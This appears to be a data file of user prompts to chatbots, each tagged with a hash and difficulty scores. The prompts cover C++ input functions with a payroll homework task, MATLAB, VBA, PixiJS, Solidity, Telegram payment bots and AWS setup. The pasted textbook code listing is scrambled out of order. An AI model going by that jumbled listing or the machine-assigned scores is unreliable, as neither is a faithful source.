Before now, we have used cin with the extraction operator >> in order to read a character of input (or any other input, for that matter). When you use the extraction operator >>, as we have been doing, some things are done for you automatically, such as skipping blanks. With the member function get, nothing is done automatically. If you want, for example, to skip over blanks using cin.get, you must write code to read and discard the blanks.
The member function get takes one argument, which should be a variable of type char. That argument receives the input character that is read from the input stream. For example, the following reads in the next input character from the keyboard and stores it in the variable nextSymbol:
It is important to note that your program can read any character in this way. If the next input character is a blank, this code will not skip over the blank, but will read the blank and set the value of nextSymbol equal to the blank character. If the next character is the new-line character '\n', that is, if the program has just reached the end of an input line, then the call to cin.get shown earlier sets the value of
nextSymbol equal to '\n'. Reading blanks and '\n'
WILLIAM SHAKESPEARE, Hamlet
char nextSymbol; cin.get(nextSymbol);
Although we write it as two symbols, '\n' is just a single character in C++. With the member function get, the character '\n' can be input and output just like any other character. For example, suppose
your program contains the following code:
and suppose you type in the following two lines of input to be read by this code:
That is, suppose you type AB followed by Return and then CD followed by Return. As you would expect, the value of c1 is set to 'A' and the value of c2 is set to 'B'. That’s nothing new. But when this code fills the variable c3, things are different from what they would be if you had used the extraction operator
>> instead of the member function get. When this code is executed on the input we showed, the value of c3 is set to '\n'; that is, the value of c3 is set equal to the new-line character. The variable c3 is not
set equal to 'C'.
One thing you can do with the member function get is to have your program detect the end of a line. The following loop will read a line of input and stop after passing the new-line character '\n'. Then, any subsequent input will be read from the beginning of the next line. For this first example, we have simply echoed the input, but the same technique would allow you to do whatever you want with the input:
char c1, c2, c3; cin.get(c1); cin.get(c2); cin.get(c3);
AB CD
Detecting the end of an input line
cout << "Enter a line of input and I will echo it:\n"; char symbol;
do
{
cin.get(symbol);
cout << symbol;
} while (symbol != '\n');
cout << "That's all for this demonstration.";
This loop will read any line of input and echo it exactly, including blanks. The following is a sample dialogue produced by this code:
Notice that the new-line character '\n' is both read and output. Since '\n' is output, the string that begins with the word "That's" is on a new line.
Enter a line of input and I will echo it:
Do Be Do 1 2 34 Do Be Do 1 2 34
That's all for this demonstration.
The Member Function get
Every input stream has a member function named get that can be used to read one character of
input. Unlike the extraction operator >>, get reads the next input character, no matter what that character is. In particular, get reads a blank or the new-line character '\n' if either of these is the next input character. The function get takes one argument, which should be a variable of type char. When get is called, the next input character is read and the argument variable (called
Char_Variable below) has its value set equal to this input character. Syntax
inputStream.get(Char_Variable); Example
If you wish to use get to read from a file, you use an input-file stream in place of the stream cin. For example, if inStream is an input stream for a file, then the following reads one character from the input file and places the character in the char variable nextSymbol:
inStream.get(nextSymbol);
Before you can use get with an input-file stream such as inStream, your program must first connect the stream to the input file with a call to open.
'\n' and "\n"
'\n' and "\n" sometimes seem like the same thing. In a cout statement, they produce the same effect, but they cannot be used interchangeably in all situations. '\n' is a value of type char and can be stored in a variable of type char. On the other hand, "\n" is a string that happens to be made up of exactly one character. Thus, "\n" is not of type char and cannot be stored in a variable of type char.
The member function put is analogous to the member function get except that it is used for output rather than input. put allows your program to output one character. The member function put takes one argument, which should be an expression of type char, such as a constant or a variable of type char. The value of the argument is output to the stream when the function is called. For example, the following outputs the letter 'a' to the screen:
cout.put('a');
The function cout.put does not allow you to do anything you could not do by using the methods we
discussed previously, but we include it for completeness.
If your program uses cin.get or cout.put, then just as with other uses of cin and cout, your program should include the following directive:
char nextSymbol; cin.get(nextSymbol);
#include <iostream>
Similarly, if your program uses get for an input-file stream or put for an output-file stream, then just as with any other file I/O, your program should contain the following directive:
#include <fstream>
The Member Function put
Every output stream has a member function named put, which takes one argument which should be
an expression of type char. When the member function put is called, the value of its argument (called Char_Expression below) is output to the output stream.
Syntax
outputStream.put(Char_Expression); Examples
If you wish to use put to output to a file, you use an output-file stream in place of the stream cout. For example, if outStream is an output stream for a file, then the following will output the character
'Z' to the file connected to outStream: outStream.put('Z');
Before you can use put with an output-file stream, such as outStream, your program must first connect the stream to the output file with a call to the member function open.
When using either of these include directives, your program must also include the following: using namespace std;
The putback Member Function (Optional)
Sometimes your program needs to know the next character in the input stream. However, after reading the next character, it might turn out that you do not want to process that character and so you would like to simply put it back in the input stream. For example, if you want your program to read up to but not including the first blank it encounters in an input stream, then your program must read that first blank in order to know when to stop reading—but then that blank is no longer in the stream. Some other part of your program might need to read and process this blank. There are a number of ways to deal with this sort of situation, but the easiest is to use the member function putback. The function putback is a member of every input stream. It takes one argument of type char and it places the value of that argument back in the input stream. The argument can be any expression that evaluates to a value of type char.
For example, the following code will read characters from the file connected to the input stream fin and write them to the file connected to the output stream fout. The code reads characters up to, but not including, the first blank it encounters.
cout.put(nextSymbol); cout.put('a');
Notice that after this code is executed, the blank that was read is still in the input stream fin, because the code puts it back after reading it.
Notice that putback places a character in an input stream, while put places a character in an output stream. The character that is put back into the input stream with the member function putback need not be the last character read; it can be any character you wish. If you put back a character other than the last character read, the text in the input file will not be changed by putback, although your program will behave as if the text in the input file had been changed.
Programming Example Checking Input
If a user enters incorrect input, the entire run of the program can become worthless. To ensure that your program is not hampered by incorrect input, you should use input functions that allow the user to reenter input until the input is correct. The function getInt in Display 6.7 asks the user whether the input is correct and asks for a new value if the user says the input is incorrect. The program in Display 6.7 is just a driver program to test the function getInt, but the function, or one very similar to it, can be used in just about any kind of program that takes its input from the keyboard.
Display 6.7 Checking Input
fin.get(next); while (next != ' ')
{
fout.put(next);
fin.get(next);
}
fin.putback(next);
Sample Dialogue
1 //Program to demonstrate the functions newLine and getInput.
2 #include <iostream>
3 using namespace std;
4
5 void newLine( );
6 //Discards all the input remaining on the current input line.
7 //Also discards the '\n' at the end of the line.
8 //This version works only for input from the keyboard.
9
10 void getInt(int& number);
11 //Postcondition: The variable number has been
12 //given a value that the user approves of.
13
14
15 int main( ) 16 {
17 int n; 18
19 getInt(n);
20 cout << "Final value read in = " << n << endl
21 << "End
22 return 0;
23 } 24
of demonstration.\n";
25
26 //Uses iostream:
27 void newLine( )
28 {
29 char symbol;
30 do
31 { 32
33
34 }
35 //Uses iostream:
36 void getInt(int&
37 {
38 char ans;
39 do
40 {
41 cout << "Enter input number: ";
42 cin >> number;
43 cout << "You entered " << number
44 << ". Is that correct? (yes/no): ";
45 cin >> ans;
46 newLine( );
47 } while ((ans != 'Y') && (ans != 'y'));
48 }
cin.get(symbol);
} while (symbol != '\n');
number)
Notice the call to the function newLine( ). The function newLine reads all the characters on the remainder of the current line but does nothing with them. This amounts to discarding the remainder of the line. Thus, if the user types in No, then the program reads the first letter, which is N, and then calls the function newLine, which discards the rest of the input line. This means that if the user types 75 on the next input line, as shown in the sample dialogue, the program will read the number 75 and will not attempt to read the letter o in the word No. If the program did not include a call to the function
newLine, then the next item read would be the o in the line containing No instead of the number 75 on the following line.
Notice the Boolean expression that ends the do-while loop in the function getInt. If the input is not correct, the user is supposed to type No (or some variant such as no), which will cause one more iteration of the loop. However, rather than checking to see if the user types a word that starts with
'N', the do-while loop checks to see if the first letter of the user’s response is not equal to 'Y' (and not equal to the lowercase version of 'Y'). As long as the user makes no mistakes and responds with some form of Yes or No, but never with anything else, then checking for No or checking for not being Yes are the same thing. However, since the user might respond in some other way, checking for not being Yes is safer. To see why this is safer, suppose the user makes a mistake in entering the input number. The computer echoes the number and asks if it is correct. The user should type in No, but suppose the user makes a mistake and types in Bo, which is not unlikely since
'B' is right next to 'N' on the keyboard. Since 'B' is not equal to 'Y', the body of the do-while loop will be executed, and the user will be given a chance to reenter the input.
But, what happens if the correct response is Yes and the user mistakenly enters something that begins with a letter other than 'Y' or 'y'? In that case, the loop should not iterate, but it does iterate one extra time. This is a mistake, but not nearly as bad a mistake as the one discussed in the last paragraph. It means the user must type in the input number one extra time, but it does not waste the entire run of the program. When checking input, it is better to risk an extra loop iteration than to risk proceeding with incorrect input.
Pitfall Unexpected ‘\n’ in Input
When using the member function get, you must account for every character of input, even the
characters you do not think of as being symbols, such as blanks and the new-line character '\n'. A common problem when using get is forgetting to dispose of the '\n' that ends every input line. If there is a new-line character in the input stream that is not read (and usually discarded), then when your program next expects to read a “real” symbol using the member function get, it will instead read the character '\n'. To clear the input stream of any leftover '\n' characters, you can use the function newLine, which we defined in Display 6.7 . Let’s look at a concrete example.
It is legal to mix the different forms of cin. For example, the following is legal:
When in doubt, enter the input again
Enter input number: 57
You entered 57. Is that correct? (yes/no): No. Using this information in chapter 6 above please do this exercise below. For your assignment, you are going to do Programming Project #6 at the end of Chapter 2 in the textbook - do not do the harder version.
An employee is paid at a rate of $16.78 per hour for the first 40 hours worked in a week. Any hours over that are paid at the overtime rate of one-and-one-half times that. From the worker’s gross pay, 6% is withheld for Social Security tax, 14% is withheld for federal income tax, 5% is withheld for state income tax, and $10 per week is withheld for union dues. If the worker has three or more dependents, then an additional $35 is withheld to cover the extra cost of health insurance beyond what the employer pays. Write a program that will read in the number of hours worked in a week and the number of dependents as input and will then output the worker’s gross pay, each withholding amount, and the net take-home pay for the week.
Submit the code and a screenshot of the output. | f3ef9e89611d2d20406b28dbfa375fb2 | {
"intermediate": 0.406350702047348,
"beginner": 0.3574552536010742,
"expert": 0.2361939698457718
} |
20,937 | import {Stage
} from "@pixi/react";
import {Graphics} from "@inlet/react-pixi";
export interface CanvasSize {
width: number;
height: number;
}
const OrderFeed = ({workerRef, symbol, settings}: OrderFeedProps) => {
const cupParams = useSelector((state: AppState) => state.cupSlice);
const [dpiScale, setDpiScale] = useState(Math.ceil(window.devicePixelRatio));
const [canvasSize, setCanvasSize] = useState<CanvasSize>({height: 0, width: 0});
const containerRef = useRef<HTMLDivElement|null>(null);
const size = useComponentResizeListener(containerRef);
const [trades, setTrades] = useState<TradeItem[]>([]);
const [camera, setCamera] = useState<number>();
useEffect(() => {
workerRef.current.onmessage = (event: MessageEvent<any>) => {
animationFrameId = requestAnimationFrame(() => {
setTrades(event.data.trades);
setCamera(event.data.camera);
}
);
}, [workerRef.current, canvasRef.current, canvasSize, symbol, cupParams, theme, settings.minQuantity, settings.volumeAsDollars]);
useEffect(() => {
if (!size) {
return;
}
setCanvasSize({
width: Math.floor(size.width) * dpiScale,
height: Math.floor(size.height) * dpiScale,
});
}, [dpiScale, size]);
const drawPix = useCallback((g: any) => {
let startX = canvasSize.width - 10 * dpiScale;
const fullHeightRowsCount = parseInt((canvasSize.height / cupParams.cellHeight).toFixed(0));
const startY = (fullHeightRowsCount % 2 ? fullHeightRowsCount - 1 : fullHeightRowsCount) / 2 * cupParams.cellHeight;
const halfCupCellHeight = cupParams.cellHeight / 2;
const color = orderFeedOptions(theme).line.color;
g.beginFill(color);
trades?.forEach(trade => {
const yModifier = (trade.price - (trade.price - (trade?.secondPrice || trade.price)) / 2 - camera) / cupParams.aggregatedPriceStep * cupParams.cellHeight + halfCupCellHeight;
const width = 1.75 * clamp((trade.quantity / cupParams.quantityDivider < (!settings.minQuantity ? 0 : parseFloat(settings.minQuantity)) ? 0 : trade.radius), 5, 50) * dpiScale;
g.lineStyle(4, "#006943", 1);
g.lineTo(startX - width / 2, startY - yModifier);
startX = startX - width;
g.endFill();
});
}, [trades, camera]);
return (
<Box ref={containerRef} className={`${styles.canvasWrapper} scroll-block`}>
<Stage width={canvasSize?.width} height={canvasSize?.height} options={{backgroundColor: 0xeef1f5}}>
<Graphics draw={drawPix} />
</Stage>
</Box>
);
};
обнови код, чтобы правлиьно работала библиотеа | e8d00fa9d618aa731d8b3e0207449244 | {
"intermediate": 0.30941903591156006,
"beginner": 0.48068687319755554,
"expert": 0.209894061088562
} |
20,938 | are you able to program in pinescript? | 4c1c03f9a458684bfae31d71c301ba79 | {
"intermediate": 0.20504994690418243,
"beginner": 0.4682542383670807,
"expert": 0.32669582962989807
} |
20,939 | void handle_proxy_request(int fd) {
/*
* The code below does a DNS lookup of server_proxy_hostname and
* opens a connection to it. Please do not modify.
*/
struct sockaddr_in target_address;
memset(&target_address, 0, sizeof(target_address));
target_address.sin_family = AF_INET;
target_address.sin_port = htons(server_proxy_port);
// Use DNS to resolve the proxy target's IP address
struct hostent *target_dns_entry = gethostbyname2(server_proxy_hostname, AF_INET);
// Create an IPv4 TCP socket to communicate with the proxy target.
int target_fd = socket(PF_INET, SOCK_STREAM, 0);
if (target_fd == -1) {
fprintf(stderr, "Failed to create a new socket: error %d: %s\n", errno, strerror(errno));
close(fd);
exit(errno);
}
if (target_dns_entry == NULL) {
fprintf(stderr, "Cannot find host: %s\n", server_proxy_hostname);
close(target_fd);
close(fd);
exit(ENXIO);
}
char *dns_address = target_dns_entry->h_addr_list[0];
// Connect to the proxy target.
memcpy(&target_address.sin_addr, dns_address, sizeof(target_address.sin_addr));
int connection_status = connect(target_fd, (struct sockaddr*) &target_address,
sizeof(target_address));
if (connection_status < 0) {
/* Dummy request parsing, just to be compliant. */
http_request_parse(fd);
http_start_response(fd, 502);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(target_fd);
close(fd);
return;
}
/* TODO: PART 4 */
unsigned long local_id;
pthread_mutex_lock(&id_mutex);
local_id = id++;
pthread_mutex_unlock(&id_mutex);
printf("Thread %lu will handle proxy request %lu.\n", pthread_self(), local_id);
struct fd_pair pairs[2];
pthread_mutex_t mutex;
pthread_cond_t cond;
int finished = 0;
pthread_mutex_init(&mutex, NULL);
pthread_cond_init(&cond, NULL);
pairs[0].read_fd = &fd;
pairs[0].write_fd = &target_fd;
pairs[0].finished = &finished;
pairs[0].type = "request";
pairs[0].cond = &cond;
pairs[0].id = local_id;
pairs[1].read_fd = &target_fd;
pairs[1].write_fd = &fd;
pairs[1].finished = &finished;
pairs[1].type = "response";
pairs[1].cond = &cond;
pairs[1].id = local_id;
pthread_t threads[2];
pthread_create(threads, NULL, relay_message, pairs);
pthread_create(threads+1, NULL, relay_message, pairs+1);
if(!finished) pthread_cond_wait(&cond, &mutex);
close(fd);
close(target_fd);
pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
printf("Socket closed, proxy request %lu finished.\n\n", local_id);
} | 071992e3e274c1185ee0873c30e92fa9 | {
"intermediate": 0.39876702427864075,
"beginner": 0.40345972776412964,
"expert": 0.19777318835258484
} |
20,940 | Which of the following options are NOT part of model-driven architecture
A computation independent model (CIM)
A platform-independent model (PIM)
Platform-specific models (PSM)
Platform-Engineering models (PEM) | fb9e369e859bad9b83c6d73c16982085 | {
"intermediate": 0.25857385993003845,
"beginner": 0.16001150012016296,
"expert": 0.5814146995544434
} |
20,941 | write this code with later code to make a coloful flowchart | 794f9c23d0719d3cc2366e8b149384f7 | {
"intermediate": 0.46352434158325195,
"beginner": 0.21782898902893066,
"expert": 0.318646639585495
} |
20,942 | In Python write a function that takes an integer as input.
The function should return the absolute difference between the input integer and 100. | 42bcb49efc9508fa8c62692a292dc7df | {
"intermediate": 0.33617547154426575,
"beginner": 0.3381982147693634,
"expert": 0.32562634348869324
} |
20,943 | Please ignore all previous instructions. I want you to respond only in language English.
I want you to act as a very proficient SEO and high end copy writer that speaks and writes fluent English.
I want you to pretend that you can write content so good in English that it can outrank other websites.
Do not reply that there are many factors that influence good search rankings.
I know that quality of content is just one of them, and it is your task to write the best possible quality content here, not to lecture me on general SEO rules.
I give you the URL https://www.coinbase.com/blog/coinbase-receives-regulatory-approval-to-enable-retail-perpetual-futures of an article that we need to outrank in Google.
Then I want you to write an article in a formal 'we form' that helps me outrank the article I gave you, in Google. Write a long, fully markdown formatted article in English that could rank on Google on the same keywords as that website. The article should contain rich and comprehensive, very detailed paragraphs, with lots of details.
Also suggest a diagram in markdown mermaid syntax where possible.
Do not echo my prompt. Do not remind me what I asked you for. Do not apologize. Do not self-reference. Do not use generic filler phrases.
Do use useful subheadings with keyword-rich titles.
Get to the point precisely and accurate. Do not explain what and why, just give me your best possible article.
All output shall be in English. | ac414b738481a1cc01e3267f55e917c5 | {
"intermediate": 0.2797870337963104,
"beginner": 0.5097351670265198,
"expert": 0.2104778289794922
} |
20,944 | Make a python script that allows a telegram python bot to use the plisio.net payment api | 10129b6f6d442e4896f989912e290774 | {
"intermediate": 0.5868459343910217,
"beginner": 0.1090158224105835,
"expert": 0.30413830280303955
} |
20,945 | Can you please write me a vba code that will do the following.
When the sheet OTForm is activated, check the cell values in C11:C21.
If the last three cell value end .15 then change the last three to .25
If the last three cell value end .30 then change the last three to .50
If the last three cell value end .45 then change the last three to .75
When the sheet OTForm is activated, check the cell values in D11:D21.
If the last three cell value end .15 then change the last three to .25
If the last three cell value end .30 then change the last three to .50
If the last three cell value end .45 then change the last three to .75 | 8cda480b72a4c7a829309e411d6e1e51 | {
"intermediate": 0.34909769892692566,
"beginner": 0.3000882565975189,
"expert": 0.3508140444755554
} |
20,946 | Make a python script that allows a telegram python bot to use the plisio.net payment api to add credits to a user account, also using mongodb for storing these credits. Upload the script to a file host so i can view it in its entirety. | 36fa68ea425b482755d910fe00c33fea | {
"intermediate": 0.5092380046844482,
"beginner": 0.14879634976387024,
"expert": 0.3419657051563263
} |
20,947 | what is the python method that replaces space with + and new line with \r\n | 15392453c86832f0302e6cf3428b549b | {
"intermediate": 0.2894056737422943,
"beginner": 0.23678621649742126,
"expert": 0.4738081097602844
} |
20,948 | Hi are you 3.5 or 4 | 6a38c71a1fdc73d202399ad04a815199 | {
"intermediate": 0.36983680725097656,
"beginner": 0.33047205209732056,
"expert": 0.29969120025634766
} |
20,949 | Hi please do this. For your assignment, you are going to do Programming Project #6 at the end of Chapter 2 in the textbook - do not do the harder version.
An employee is paid at a rate of $16.78 per hour for the first 40 hours worked in a week. Any hours over that are paid at the overtime rate of one-and-one-half times that. From the worker’s gross pay, 6% is withheld for Social Security tax, 14% is withheld for federal income tax, 5% is withheld for state income tax, and $10 per week is withheld for union dues. If the worker has three or more dependents, then an additional $35 is withheld to cover the extra cost of health insurance beyond what the employer pays. Write a program that will read in the number of hours worked in a week and the number of dependents as input and will then output the worker’s gross pay, each withholding amount, and the net take-home pay for the week.
Submit the code and a screenshot of the output. | 92629e0640290a33f31b17b0c5210f8d | {
"intermediate": 0.29429951310157776,
"beginner": 0.37808263301849365,
"expert": 0.327617883682251
} |
20,950 | pourquoi ai je cette erreur : " vérifie les valeurs retournées de la fonction
devrait permettre au player2 de rejoindre une partie:
AssertionError: devrait être définie à true: expected true to equal 'true'" le test : "describe("vérifie les valeurs retournées de la fonction", () => {
it("devrait permettre au player2 de rejoindre une partie", async () => {
const gameId = 1;
const currentPlayer = player1;
const player2Joined = true;
await penduelInstance.createGame({ from: player1 });
const receipt = await penduelInstance.joinGame({ from: player2 });
const game = await penduelInstance.games(gameId);
assert.equal(game.player1, currentPlayer);
assert.equal(game.player2, player2);
const state = await penduelInstance.state();
const expectedState = 0;
assert.equal(state.toNumber(), expectedState);
const playerBalance = await penduelInstance.playerBalances(gameId, player2);
assert.equal(playerBalance.balance, 0);
expect(player2Joined).to.equal("true", "devrait être définie à true")
expectEvent(receipt, "PlayerJoined", {
gameId: new BN(gameId),
player2: player2
});
});
" la fonction "function joinGame() public {
gameId = getGameId();
if (gameId != 0) {
Game storage game = games[gameId];
if (state == State.createdGame) {
require(game.player1 != address(0) && game.player2 == address(0), "incomplete game");
address currentPlayer = game.player1;
if (currentPlayer != msg.sender) {
game.player2 = msg.sender;
playerBalances[gameId][msg.sender].balance = 0;
player2Joined = true;
emit PlayerJoined(gameId, msg.sender);
} else {
revert("already registered");
}
} else {
revert("game not created");
}
} else {
revert("invalid ID");
}
}" | c6c3ed05b3cb35197dc18c4b2a6eaf44 | {
"intermediate": 0.3003443777561188,
"beginner": 0.5240736603736877,
"expert": 0.17558199167251587
} |
20,951 | closing and opening balance using sql server | a47de2429906acfb0fd60d12a6255340 | {
"intermediate": 0.2991408407688141,
"beginner": 0.2819410562515259,
"expert": 0.41891804337501526
} |
20,952 | Use coinbase commerce api to make a telegram bot that allows users to input credits to their accounts | 2290121ed613fbe3ca5f86cde3e65b58 | {
"intermediate": 0.6281571388244629,
"beginner": 0.1419304758310318,
"expert": 0.22991235554218292
} |
20,953 | make a proxy pool function in python i can integrate to a class object | 3142a61c64ccba0583ebd616cfa716a4 | {
"intermediate": 0.4361512064933777,
"beginner": 0.3396882712841034,
"expert": 0.22416053712368011
} |
20,954 | print scripts for loop in python | 9dae331893e918e7611f140a6e82499a | {
"intermediate": 0.2641310691833496,
"beginner": 0.4699361324310303,
"expert": 0.2659328281879425
} |
20,955 | In MatLab, write a nested function CalculateBMI that assigns bmiValue given a user's weight and height. Use the following equations to calcuate the BMI:
BMI = (weight in lbs * 703) / (height in inches)^2 | 669094af52b7e43f994a54a47e53112d | {
"intermediate": 0.27801987528800964,
"beginner": 0.14180302619934082,
"expert": 0.5801770687103271
} |
20,956 | In MatLab, write a function with persistent variables currentLocationX and currentLocationY that store an object's location. Each call to the function adds deltaXCoord to currentLocationX and adds deltaYCoord to currentLocationY. Assume a starting location of 0 for currentLocationX and currentLocationY.
Use this code:
function [endLocationX, endLocationY] = UpdateLocation(deltaXCoord, deltaYCoord)
% deltaXCoord: Move object along x axis
% deltaYCoord: Move object along y axis
% Declare a persistent variable currentLocationX
% Declare a persistent variable currentLocationY
% If currentLocationX is empty, assign currentLocationX with deltaXCoord
% Otherwise, add deltaXCoord to currentLocationX
currentLocationX = deltaXCoord;
% If currentLocationY is empty, assign currentLocationY with deltaYCoord
% Otherwise, add deltaYCoord to currentLocationY
currentLocationY = deltaYCoord;
endLocationX = currentLocationX;
endLocationY = currentLocationY;
end | a75ffb43cfe95dc1132ea54b90ea903e | {
"intermediate": 0.3072001338005066,
"beginner": 0.3932812213897705,
"expert": 0.2995186746120453
} |
20,957 | In MatLab, write a function called CheckInputs which checks if three input parameters are the correct data types. The first, second, and third input variables must be a string, numeric, and logical data type, respectively. The output of CheckInputs should be a logical row array, errorCode, with 4 values.
If all the tests pass, then errorCode should consist of only false values. If the 1st input parameter is not a string, the 1st array element in errorCode is set true. If the 2nd input parameter is not a numeric, the 2nd array element in errorCode is set true. If the 3rd input parameter is not a logical variable, the 3rd array element in errorCode is set true. The 4th array element in errorCode is set true if three input parameters are not present.
Ex:
>> name="Joe"; gpa=3; enrollStatus=true; % All datatypes correct
errorCode = CheckInputs(name, gpa, enrollStatus)
errorCode =
1×4 logical array
0 0 0 0
>> name=1; gpa=3; enrollStatus=true; % First datatype incorrect
errorCode = CheckInputs(name, gpa, enrollStatus)
errorCode =
1×4 logical array
1 0 0 0
>> name="Joe"; gpa=3; enrollStatus=1 % Third datatype incorrect
errorCode = CheckInputs(name, gpa, enrollStatus)
enrollStatus =
1
errorCode =
1×4 logical array
0 0 1 0
>> errorCode = CheckInputs(name, gpa) % Absent input argument
errorCode =
1×4 logical array
0 0 0 1
Use this code:
function errorCode = CheckInputs(name, gpa, enrollStatus)
% Your code goes here %
end | 1a9be4f123faebbbc2d2d4b040cf3af4 | {
"intermediate": 0.4026621878147125,
"beginner": 0.25245919823646545,
"expert": 0.34487858414649963
} |
20,958 | 번역: "JSX is a syntax extension for JavaScript that lets you write HTML-like markup inside a JavaScript file. Although there are other ways to write components, most React developers prefer the conciseness of JSX, and most codebases use it." | c2c009a87fb994401268bb297e36ca15 | {
"intermediate": 0.33856964111328125,
"beginner": 0.40132462978363037,
"expert": 0.26010581851005554
} |
20,959 | PostMessage send right mouse button | 58faae2f81e6520847ff6a75df889966 | {
"intermediate": 0.33280667662620544,
"beginner": 0.28559884428977966,
"expert": 0.3815945088863373
} |
20,960 | A multiplication problem is provided as a string using the format 'x times y'. Create a function in MatLab called MultiplyString to extract the numbers that should be multiplied from a character vector called inputCharVect, and then assign the product to the variable multResult.
Ex:
inputCharVect = '4 times 3'; multResult = MultiplyString(inputCharVect)
multResult = 12
Use this code:
function multResult = MultiplyString(inputCharVect)
% Your solution goes here
end | 2e29091bfe728f59f685b68508719711 | {
"intermediate": 0.3976462781429291,
"beginner": 0.3631914258003235,
"expert": 0.23916229605674744
} |
20,961 | In MatLab, write a function called RemoveNStates that removes all the U.S. states beginning with the letter N. The states are given as a string array. The states beginning with the letter N present in the sentence should removed from the scalar array. All state names are assumbed to be spelled exactly as given in U.S. states.
Restrictions: The function RemoveNStates should not use loops. RemoveNStates should use the functions split, erase, strtrim and join.
Hint: First, the states starting with N should be removed from the string arrays, resulting in some string scalar entries that are empty. Then empty entries should be removed from the scalar array.
Ex:
>> s1 = ["New York"; "Alabama"; "Montana"; "Nebraska"; "Vermont"; "Nevada"]; reducedList = RemoveNStates(s1)
reducedList =
"Alabama" "Montana" "Vermont"
Use this code:
function sout = RemoveNStates(s1)
d=["Nebraska", "Nevada","North Carolina","New Jersey","New York","New Mexico","New Hampshire"];
% Your solution goes here %
end | ca7bb4ae6c068e77df09289c00d5e7a8 | {
"intermediate": 0.27739623188972473,
"beginner": 0.393685519695282,
"expert": 0.3289182186126709
} |
20,962 | Hi | 61e969f4e7d199e28cd85e7ede77f558 | {
"intermediate": 0.33010533452033997,
"beginner": 0.26984941959381104,
"expert": 0.400045245885849
} |
20,963 | A pangram, or holoalphabetic sentence, is a sentence using every letter of the alphabet at least once. In MatLab, write a logical function called isPangram to determine if a sentence is a pangram. The input sentence is a string scalar of any length. The function should work with both upper and lower case.
Restrictions: The function should use the functions isspace, unique, and all at least once.
Ex:
>> s = "The quick brown fox jumps over the lazy dogs"; answer=isPangram(s)
answer =
logical
1
>> s = "The quick brown "; answer=isPangram(s)
answer =
logical
0
Use this code:
function tf = isPangram(s)
% Your code goes here
end | f171132c93b1fcac94890e4a96c7484c | {
"intermediate": 0.4547770023345947,
"beginner": 0.26129019260406494,
"expert": 0.28393280506134033
} |
20,964 | in python, how would you access the element on the first row and first and second columns. | 76ed6929d97c79e7159843f929ecd250 | {
"intermediate": 0.5122138261795044,
"beginner": 0.18026934564113617,
"expert": 0.307516872882843
} |
20,965 | Solve the problem: “One day, an absent-minded professor gave his students a task: to select, without repetition, a random non-empty subset of objects from a set of data. The result of completing the task is a list of object numbers. He collected these lists from the students and accidentally combined them into one large list.
Now the professor cannot check each student's list separately. Then he decides that he will simply try to select lists that will ultimately yield one large resulting list. If such lists exist, all students will receive credit for completing the assignment. If not, it won’t count for anyone. Help the professor determine whether such lists exist?
Comment
In the first subtest of the example, students could give the professor the following lists as an answer: [1, 2, 3], [2, 3], and [3].
Input format
Each test consists of several subtests. The first line contains the natural number Q (1 ≤ Q ≤ 105) — the number of subtests.
The following is a description of the subtests. Each subtest is specified in two lines. The first of them contains three space-separated natural numbers N, M and K (1 ≤ N, M, K ≤ 105): N is the length of the list of object numbers obtained after combining, M is the number of objects in the original data set, K is the number of students. Objects in the data set are numbered from 1 to M.
The second line of each subtest contains a description of a large list of objects and consists of N natural numbers ai (1 ≤ ai ≤ 105) separated by spaces—object numbers.
The sum of N for all subtests of one test does not exceed 105.
Output format
For each test, print the line YES if students should pass the assignment, or NO otherwise." | 504adf3a5f038fd8cc91b1e4e680c026 | {
"intermediate": 0.3681494891643524,
"beginner": 0.3004007935523987,
"expert": 0.3314497470855713
} |
20,966 | print a upper letters in a python | 51086ec491d0d6f4fdec2065ca8f4f1d | {
"intermediate": 0.3206831216812134,
"beginner": 0.20493368804454803,
"expert": 0.4743832051753998
} |
20,967 | PostMessage right mouse button click | 918179ef161a7a71c921170cf1311126 | {
"intermediate": 0.3261982500553131,
"beginner": 0.304879754781723,
"expert": 0.3689219355583191
} |
20,968 | function calculate_sine_wave_real(channel::Int, A::Vector{Float64}, f::Vector{Float64}, ϕ::Vector{Float64}, Ts::Float64, t::Float64)
ω = 2π * f[channel]
phase = ω * t + ϕ[channel]
y = A[channel] * sin(phase)
Ts * y
end
Функция calculate_sine_wave_real принимает индекс канала channel (от 1 до N), векторы амплитуд A, частот f и фаз ϕ, параметр Sample Time (Ts) и значение времени t в качестве аргументов. Она вычисляет значение синусоиды для указанного канала и возвращает результат, учитывая Sample Time (Ts).
Пример использования функции:
A = [1.0, 2.0, 0.5]
f = [1.0, 2.0, 0.5]
ϕ = [0.0, π/4, π/2]
Ts = 0.001
t = 0.1
result = calculate_sine_wave_real(2, A, f, ϕ, Ts, t)
println(result)
все матлабе результат [0 1.414 0.5] исправь функцию | a8259f775f20a7b276b6fb85e1db1987 | {
"intermediate": 0.4028012752532959,
"beginner": 0.35201066732406616,
"expert": 0.24518808722496033
} |
20,969 | Привет. Почему, когда я размещаю кнопки слева и справа на окне, то это работает, а если размещаю точно также, но в рамке, то кнопки размещаются по центру? | 77326c4bd1251ca78ecd0e2265004c44 | {
"intermediate": 0.33478477597236633,
"beginner": 0.31406325101852417,
"expert": 0.3511519432067871
} |
20,970 | On Debian GNU+Linux, how can I tell if my GPU is dying or has some driver problem? | eba53e36d7b1e5ef28b18ed5fafcef75 | {
"intermediate": 0.4405258595943451,
"beginner": 0.2232947051525116,
"expert": 0.3361795246601105
} |
20,971 | hi | d6bb52c91796cd0ed4725e705eff434e | {
"intermediate": 0.3246487081050873,
"beginner": 0.27135494351387024,
"expert": 0.40399640798568726
} |
20,972 | I would like a VBA event named 'BackupOT' that is activated by a form button that does the following.
In sheet 'Overtime' from A3, scroll down the column to the last entry
and copy all rows from A to P
and paste all cell values and the cell format without cell formulas
into the next available row in sheet 'OTBackup'
Then in sheet 'Overtime' clear the contents of the following columns
A, C, D, E, F, I, K, M, O, P, AD, AE, AG,
from row 3 to row 2003
and then calulate all the formlas in sheet 'Overtime' | 76f5474843497c7bb27b8302dcd0ebbf | {
"intermediate": 0.39776521921157837,
"beginner": 0.2791014313697815,
"expert": 0.3231333792209625
} |
20,973 | i need to html code about reviews in the website | 632f164cc7847f7f7f2cce0dc610b04f | {
"intermediate": 0.34258711338043213,
"beginner": 0.35102152824401855,
"expert": 0.30639132857322693
} |
20,974 | how to setup production level integration using @aws-sdk/client-ec2 for my project to launch instances on aws | 142dee6fbbd7edff7a18efda47d8a0b3 | {
"intermediate": 0.6343158483505249,
"beginner": 0.19405828416347504,
"expert": 0.17162591218948364
} |
